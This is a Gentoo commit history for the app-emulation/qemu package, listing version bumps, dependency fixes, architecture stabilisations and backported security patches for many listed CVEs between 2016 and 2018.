app-emulation/qemu: fix crash during Windows guest installation
Closes: https://bugs.gentoo.org/656886 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix compilation if en_US.UTF-8 is unavailable
Thanks to Arfrever for the proper patch. Closes: https://bugs.gentoo.org/657766 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: try to fix dependency mess
- add missing USE=infiniband dependencies - fix automagic libxml2 dependency, also fixes static build - add python-3 support - fix automagic libxbcommon dependency Closes: https://bugs.gentoo.org/656006 Closes: https://bugs.gentoo.org/656076 Closes: https://bugs.gentoo.org/657428 Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: drop obsolete
Package-Manager: Portage-2.3.40, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.12
Closes: https://bugs.gentoo.org/654174 Package-Manager: Portage-2.3.36, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: desnappify
commit to stable Package-Manager: Portage-2.3.28, Repoman-2.3.9 RepoMan-Options: --force
Matthias Maier · gentoo
app-emulation/qemu: desnappify live ebuild
Package-Manager: Portage-2.3.28, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: ebuild maintenance
* desnappify * fix ARM performance issue. Thanks to David Flogeras and Alexander Tsoy. Closes: https://bugs.gentoo.org/647952 Closes: https://bugs.gentoo.org/651602 Package-Manager: Portage-2.3.28, Repoman-2.3.9
Matthias Maier · gentoo
app-emulation/qemu: drop 2.11.0
Package-Manager: Portage-2.3.28, Repoman-2.3.9
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #649616)
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: Revert: update 2.11.1-r52, 9999
This reverts commit 289a2b775c75dd1e88aa972642624a0bf692e957.
Matthias Maier · gentoo
app-emulation/qemu: Revert: add rule to fix permissions on /dev/vfio/vfio
This reverts commit 2fc1bc6c7b1f41a3a7df74ce8e170996eb7e36d9.
Matthias Maier · gentoo
app-emulation/qemu: update 2.11.1-r52, 9999
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: add rule to fix permissions on /dev/vfio/vfio
The device node /dev/vfio/vfio gets created on modprobing the vfio* modules. This happens in particular on demand when a qemu vm with PCI passthrough is started up. The default permissios for the freshly created device node is crw-rw-rw- 1 root root 10, 196 Mar 27 08:44 /dev/vfio/vfio This is terrible. This patch adds an udev rules and makes sure that the device node has rw permissions for user root, and group kvm (and no permissions for all). This fixes - startup when a qemu-kvm is started as non-root (provided the user is in group kvm, which is our current policy for accessing /dev/kvm, etc., anyway). - work around this security vulnerability, where /dev/vfio/vfio is created with world writable permissions upon modprobe. [1] Thanks to username234, Kash Pande, Ted Rodgers for discovery and patch! [1] Steps to reproduce: % ls -la /dev/vfio/vfio crw------- 1 root root 10, 196 Mar 27 15:40 /dev/vfio/vfio % modprobe vfio % ls -la /dev/vfio/vfio crw-rw-rw- 1 root root 10, 196 Mar 27 15:41 /dev/vfio/vfio [2] I cannot find an udev rule installed by libvirt/qemu/... that triggers these permissions. Bug: https://bugs.gentoo.org/651668 Package-Manager: Portage-2.3.24, Repoman-2.3.6 RepoMan-Options: --force
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #649616
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: fix capstone dependency
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: restore keywords
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: drop 2.11.1
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: 2.11.1: apply security patches
* disable capstone * apply patch for CVE-2018-7550 Bug: https://bugs.gentoo.org/647570 Bug: https://bugs.gentoo.org/649616 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: 2.11.1: New binary blob pinning, CVE patches, maintenance
* new binary blobs pinning =sys-firmware/edk2-ovmf-2017_p20180211 =sys-firmware/ipxe-1.0.0_p20180211 =sys-firmware/seabios-1.11.0 =sys-firmware/sgabios-0.1_pre8-r1 =sys-firmware/vgabios-0.7a-r1 keyword ebuild * fix include path for capstone, bug 647570 * add USE=capstone support, bug 647570 * apply patch for CVE-2018-7550 Closes: https://bugs.gentoo.org/647570 Bug: https://bugs.gentoo.org/649616 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: bump pinned firmware versions
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Zero_Chaos · gentoo
app-emulation/qemu: bug #647570
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Patrick McLean · gentoo
app-emulation/qemu: Version bump to 2.11.1
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Michał Górny · gentoo
app-emulation/qemu: [QA] Fix DoubleEmptyLine
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable version
Bug: https://bugs.gentoo.org/646814 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #646814)
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #646814
Signed-off-by: Agostino Sarubbo <ago@gentoo.org> Package-Manager: Portage-2.3.19, Repoman-2.3.6 RepoMan-Options: --include-arches="amd64"
Matthias Maier · gentoo
app-emulation/qemu: 2.11.0-r50: pin new firmware versions
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: fix dependencies in live ebuild
Package-Manager: Portage-2.3.24, Repoman-2.3.6
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.11.0, important security fixes
- Added slot operator for libnfs - Added patch for glibc-2.27 compatibility - Added patch for CVE-2017-16845 - Backported upstream msr / spec ctrl patches: 6cfbc54e89 i386: Add EPYC-IBPB CPU model ac96c41354 i386: Add new -IBRS versions of Intel CPU models 1b3420e1c4 i386: Add FEAT_8000_0008_EBX CPUID feature word a2381f0934 i386: Add spec-ctrl CPUID bit a33a2cfe2f i386: Add support for SPEC_CTRL MSR - CVEs addressed by bump: CVE-2017-17381 CVE-2017-18030 CVE-2017-18043 - CVEs addressed by patchset: CVE-2017-15124 CVE-2017-16845 CVE-2018-5683 - CVE-2018-5748 is a libvirt vulnerability, not a qemu issue... Bug: https://bugs.gentoo.org/638506 Bug: https://bugs.gentoo.org/643432 Bug: https://bugs.gentoo.org/646814 Closes: https://bugs.gentoo.org/641100 Closes: https://bugs.gentoo.org/646568 Closes: https://bugs.gentoo.org/646710 Package-Manager: Portage-2.3.24, Repoman-2.3.6
Alexey Sokolov · gentoo
app-emulation/qemu: Fix build with latest git:
* add hppa to softmmu targets * add aarch64_be to user targets * update the CFLAGS patch Signed-off-by: Matthias Maier <tamiko@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/7020
George Gaydarov · gentoo
app-emulation/qemu: Make CONFIG_CHECK CPU-model dependent
Closes: https://github.com/gentoo/gentoo/pull/6285 Signed-off-by: George Gaydarov <git@gg7.io> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable (bug #634148)
Package-Manager: Portage-2.3.13, Repoman-2.3.4
Manuel Rüger · gentoo
app-emulation/qemu: Stable on amd64
Package-Manager: Portage-2.3.12, Repoman-2.3.4
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #634148)
Package-Manager: Portage-2.3.13, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: Live ebuild maintennance, bug #631206
Closes: https://bugs.gentoo.org/631206 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable
Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: Version bump to 2.10.1, various security fixes
Bug: https://bugs.gentoo.org/630432 Bug: https://bugs.gentoo.org/633822 Bug: https://bugs.gentoo.org/634070 Bug: https://bugs.gentoo.org/634148 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #629350
Bug: https://bugs.gentoo.org/629350 Package-Manager: Portage-2.3.8, Repoman-2.3.4
Robin H. Johnson · gentoo
app-emulation/qemu: need seavgabios for pseries
Emulation of PPC64 pSeries needs a VGA BIOS: $ qemu-system-ppc64 -m 256 -nographic \ -echr 0x05 \ -kernel cirros-0.4.0~pre1-ppc64-kernel \ -initrd cirros-0.4.0~pre1-ppc64-initramfs \ -append rdroot \ -m 256 \ -machine pseries qemu-system-ppc64: Initialization of device VGA failed: failed to find romfile "vgabios-stdvga.bin" Tested on bogsucker.ppc64.dev.g.o by booting CirrOS PPC64 images. Package-Manager: Portage-2.3.8, Repoman-2.3.3 Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
Jan Vesely · gentoo
app-emulation/qemu: Remove bundled copy of libfdt
Bump min dependency on sys-apps/dtc to 1.4.2. Signed-off-by: Matthias Maier <tamiko@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/5781
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #629350)
Package-Manager: Portage-2.3.8, Repoman-2.3.3
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #629350
Package-Manager: Portage-2.3.8, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: add s390-netboot.img to prestripped list
Package-Manager: Portage-2.3.8, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: do not install removed documentation
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.10.0, bug #629350
This version bump also addresses a number of security issues CVE-2017-12809, bug #628498 CVE-2017-13673, bug #629316 CVE-2017-13711, bug #629350 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.9.0-r2, bug #625614
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: stabilize on amd64, x86, bug #625614
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: Remove faulty patch
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: security patches
CVE-2017-7539, bug #625850 CVE-2017-10664, bug #623016 CVE-2017-10806, bug #624088 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable version 2.9.0-r54
Package-Manager: Portage-2.3.6, Repoman-2.3.3
Matthias Maier · gentoo
app-emulation/qemu: security fixes
CVE-2017-11334, bug #621292 CVE-2017-11434, bug #625614 CVE-2017-9503, bug #621184 CVE-2017-9524, bug #621292 Package-Manager: Portage-2.3.6, Repoman-2.3.3
Michał Górny · gentoo
app-emulation/qemu: Add missing := on app-arch/snappy
Matthias Maier · gentoo
app-emulation/qemu: use tc-enables-pie instead of gcc-specs-pie
Package-Manager: Portage-2.3.6, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #616874
Package-Manager: Portage-2.3.6, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #616874
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #616874
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: rename patches
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: patch for CVE-2017-7493, bug #618808
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: 2.9.0-r53, 9999: comestic changes
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add dependency on edk2-ovmf, keyword 2.9.0-r53
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #616460
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #616460
Package-Manager: Portage-2.3.5, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update to seabios 1.10.2
- pin seabios-1.10.2 - remove bundled bios-256k.bin, bug #617422 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add REQUIRED_USE for mips64el-sotfmmu, bug #617354
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: bugfix, add use dependency seabios[seavgabios]
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: add an elog warning for firmware bump
See bug #560050 and bug #529862 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: replace vgabios firmware with seavgabios, bug #529862
Special thanks to Alexander Patrakov for the ebuild patch. - Dropping keywords due to potential issue with migration and resume of hibernated guests. See, e.g. bug #560050 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: Various security patches for 2.9.0
bug 616636, CVE-2017-8112 bug 616870 [1] bug 616872 [2] bug 616874 [1] [1] minor change, queued upstream, no CVE assigned yet [2] queued upstream, no CVE assigned yet Package-Manager: Portage-2.3.3, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #616460
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.9.0, bug #616554
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: security fixes
CVE-2017-7471, bug #616484 CVE-2017-7718, bug #616482 already applied on stable-2.8 as 3328c14e63f08fb07e8c6dec779c9d365e9e9864 CVE-2017-7980, bug #616462 already applied on stable-2.8 as a290442234fa214fcb7f45fc91d802bcb8d05c4b 031700e4527b9e05798f7040dccdf638da27aee2 CVE-2017-8086, bug #616460 Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: remove unused use flag "threads", bug #615878
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: Fix dependency, bug #614198
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #614744
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #614744
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #614744
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: maintenance: update 9999, small cleanup
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: apply patch for CVE-2017-7377, bug #614744
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.8.1
Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: fix static dependencies, bug #614198
Oh *boy* what mess did I create with the last round of dependency fixes? This commit puts back the old behavior of requiring only a subset of the dependencies to be built with static-libs if USE=static-user is set. Package-Manager: Portage-2.3.5, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.1 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: Apply upstream patches for CVE-2016-9602, bug #606088
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: require app-accessibility/brltty[api], bug #613138
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: security patches, bug #612220
CVE-2017-6505, bug #612220 Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: use pax-mark "mr" instead of pax-mark "m", bug #575594
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: update live-ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: configure tools with all options, bug #611958
This fixes a bug introduced in my previous commit fe801faa69cb147f4fcf2c112e8275f7da935b3d Package-Manager: Portage-2.3.3, Repoman-2.3.2
Matthias Maier · gentoo
app-emulation/qemu: fix inverted logic in configure stage, bug #611238
Package-Manager: Portage-2.3.3, Repoman-2.3.2
Patrick Lauer · gentoo
app-emulation/qemu: Whitespace
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Reintroduce USE="static-user"
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: ebuild maintenance (2.8.0-r5)
This commit addresses several bugs in the current dependency handling. - Almost all dependencies that were exclusively listed in SOFTMMU_LIBS_DEPEND are needed for qemu user targets as well. This is evidenced by trying to compile qemu with USE="* -static -static-softmmu -static-user" QEMU_USER_TARGETS="*" QEMU_SOFTMMU_TARGETS="" in a minimal stage-3 environment. The only remaining dependencies (exclusive for softmmu system targets) are - always build qemu-tools - restructure dependencies, bug #611084 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: apply binfmt changes to 2.8.0-r4
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Update readme in 9999 to reflect latest changes
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Dynamically create binfmt.d/qemu.conf
This file is stored in /usr/share/qemu/binfmt.d/qemu.conf and can be symlinked to /etc/binfmt.d Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable 2.8.0-r1, bug #609206
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #609206
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #609206
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: security fixes, notably CVE-2017-2620, bug #609206
This commit applies a number of patches fixing CVE-2017-2620 #609206 CVE-2017-2630 #609396 CVE-2017-5973 #609334 CVE-2017-5987 #609398 CVE-2017-6058 #609638 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable, bug #608728
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #608728
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #608728
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: further live ebuild fixes
- call forgotten generate_initd in src_install - qmp-commands.txt is no longer installed Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live-ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: require sys-libs/ncurses[unicode], bug #607486
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: fix permissions on vhost-net, bug #593196
Add an additional udev rule that grants access to /dev/vhost-net to the kvm user. Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: fix various security issues, bug #608728 and others
This commit applies upstream patches to 2.8.0 for the following CVEs CVE-2016-10155 #606720 CVE-2017-2615 #608034 CVE-2017-5525 #606264 CVE-2017-5552 #606722 CVE-2017-5578 #607000 CVE-2017-5579 #607100 CVE-2017-5667 #607766 CVE-2017-5856 #608036 CVE-2017-5857 #608038 CVE-2017-5898 #608520 CVE-2017-5931 #608728 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: drop old versions 2.7.0, 2.7.1
Package-Manager: Portage-2.3.3, Repoman-2.3.1
T. Malfatti · gentoo
media-libs/portaudio: Version bump
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #601824
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #601824
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: generate init.d script from upstream settings
Mike Frysinger · gentoo
app-emulation/qemu: drop mesa[gles2] requirement #606590
Since upstream no longer requires gles2, drop it from the ebuild too.
Mike Frysinger · gentoo
app-emulation/qemu: drop USE=uuid in newer versions #606506
Qemu always builds in their own uuid generation logic now and never looks at the external libuuid, so they've dropped the configure flag to match.
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.8.0
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.7.1
Update the 7422 patch to match the version upstream merged. Update the 8669-1 patch to include upstream references since it is still not merged/fixed.
Mike Frysinger · gentoo
app-emulation/qemu: drop unicore32 from user targets for now
Upstream has disabled this user target until it can be updated. Since that doesn't look like it'll happen soon, also drop it from the ebuild.
Mike Frysinger · gentoo
app-emulation/qemu: sync readme #575326 and gbm updates #590230
Mike Frysinger · gentoo
app-emulation/qemu: drop libpcre dep as qemu does not use it #591202
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.7.0-r5, bug #598772
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #598772
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #598772
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update build dependency to vte:2.91, bug #595890
Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: update build dependency to vte:2.91, bug #595890
Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: security fixes, bug #598772
CVE-2016-9102, bug #598328 CVE-2016-9103, bug #598328 CVE-2016-9104, bug #598328 CVE-2016-9105, bug #598328 CVE-2016-9106, bug #598772 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.7.0-r4, bug #598046
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #598046
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #598046
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: multiple security fixes for 2.7.0-r5
CVE-2016-7466, bug 594520 CVE-2016-7907, bug 596048 CVE-2016-7908, bug 596049 CVE-2016-7909, bug 596048 CVE-2016-7994, bug 596738 CVE-2016-7994, bug 596738 CVE-2016-8576, bug 596752 CVE-2016-8577, bug 596776 CVE-2016-8578, bug 596774 CVE-2016-8668, bug 597110 CVE-2016-8669, bug 597108 CVE-2016-8669, bug 597108 CVE-2016-8909, bug 598044 CVE-2016-8910, bug 598046 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #594368
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #594368
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #594368
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: security fixes, bug #594520, bug #594368
CVE-2016-7466.patch # bug 594520 CVE-2016-7423.patch # bug 594368 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable versions 2.7.0, 2.7.0-r2
Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: security fixes, ebuild maintenance
bug 593956: CVE-2016-7422 bug 593950: CVE-2016-7421 bug 590230: missing use depend opengl? ( media-libs/mesa[...,gbm] ) bug 575326: update to readme.gentoo-r1 eclass Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: apply fix for CVE-2016-7170, bug #593284
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: fix static-user dep, security patches, bug #593038
This commit resolves bug #591202 bug #593024 bug #593034 CVE-2016-7155 bug #593036 CVE-2016-7156 bug #593038 CVE-2016-7157 Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.5.1, bug #592430, and 19 others
Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #592430
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #592430
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: fix installation with USE=python, bug #592908
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
